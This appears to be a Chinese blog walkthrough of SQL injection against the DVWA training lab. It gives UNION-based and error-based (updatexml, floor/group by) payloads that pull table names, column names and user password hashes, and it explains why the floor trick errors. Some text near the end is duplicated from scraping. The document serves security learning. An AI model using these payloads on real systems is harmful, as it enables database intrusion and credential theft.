Dvwa sql low 联合注入,报错注入

Dvwa sql low 联合注入,报错注入

\1. 判断注入点

输入1,数据正常显示,输入1',页面显示爆错,1附近多出现了一个逗号

\2. 判断注入类型

?id=1' and 1=1 # 正常显示数据,

?id=1' and 1=2 # 页面不显示数据,也不会报错

判断 low级别的注入是字符型

\3. 判断字段数

? Id=1' order by 3 #

?id=1' order by 2 # 页面显示正常

\4. 找出注入点

Payload :

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1%2C2%23&Submit=Submit#

\5. 爆出表名

Payload:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

\6. 爆出字段名

Payload:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

\7. 爆出敏感数据

Payload:

-1' union select 1,group_concat(user,password) from users#

Dvwa medium

\1. 判断注入点

抓到提交的包,上传到repeater

输入单引号,页面出现爆错,

\2. 判断注入类型

? Id=1 and 1=1 页面显示正常

? Id=1 and 1=2 页面无显示

判断是数字型

\3. 判断注入字段数

?id =1 order by 3 #

\4. 爆出库名

Payload: id=-1 union select database(),version()

\5. 爆出表名

Payload:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

\6. 爆出列名

这里发现单引号出现过滤,我们尝试16进制编码来进行绕过

Payload:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

\7. 爆出数据

Payload:

id=-1 union select 1,group_concat(user,password)from users&Submit=Submit

Dvwa low medumn

\1. 判断注入点,

输入单引号,发现页面报错,可进行报错注入

Payload:

id=-1 and updatexml(1,concat(0x7e,database()),1)

\2. 爆出表名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

\3. 爆出列名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)&Submit=Submit

发现只能爆出一些列名

尝试使用limit函数进行测试

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1)),1)

发现还是只能出现一点点数据,调整limit的数量还是只能一点点

Dvwa low

尝试使用floor函数和group by 进行报错

原理:通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

Payload:

1' union select count(*),concat(floor(rand(0)*2),database())fannn from information_schema.tables group by fannn #

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

om information_schema.tables group by fannn #

外链图片转存中...(img-WpMKvPvf-1710557932658)

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

相关推荐
VW_40411 小时前
M0-本机实验环境与工具链
web安全
kingx33 天前
BUGKU Make Me Cry 解题:curl 探测与 POST 路径参数构造
web安全·curl·bugku·路径遍历·参数构造
kingx33 天前
DASCTF 02-cookies 解题:Flappy Bird 分数 Cookie 的 Base64+gzip 构造
web安全·php·base64·gzip解压·cookie伪造
国科安芯3 天前
可信的电流:ASP4644S2B电源模块与星载电子供应链网络安全防护体系
网络·安全·web安全·架构·芯片·抗辐射
kitsch0x973 天前
MITRE Engage 中的网络欺骗
安全·web安全·php
如夏倾城4 天前
WAF (Web Application Firewall,Web应用防火墙)
前端·网络·安全·web安全·web app
真上帝的左手4 天前
7. 网络安全-网关-认证鉴权实战-Spring Boot+SpringSecurity+JWT登录认证
java·spring boot·web安全
kingx35 天前
DASCTF Uploadfile 解题:PHP5.5 上传点与 phtml 绕过后门利用
web安全·文件上传·phtml 绕过·php 5.5·ctf 渗透
kingx35 天前
DASCTF EzSSti:Jinja2 模板注入的字符黑名单绕过
web安全·flask·ssti·jinja2·黑名单绕过·ctf-web
如夏倾城6 天前
网络安全态势感知全解析:概念、架构、厂商与旁路/串联接入选型
大数据·运维·网络·web安全·架构·知识图谱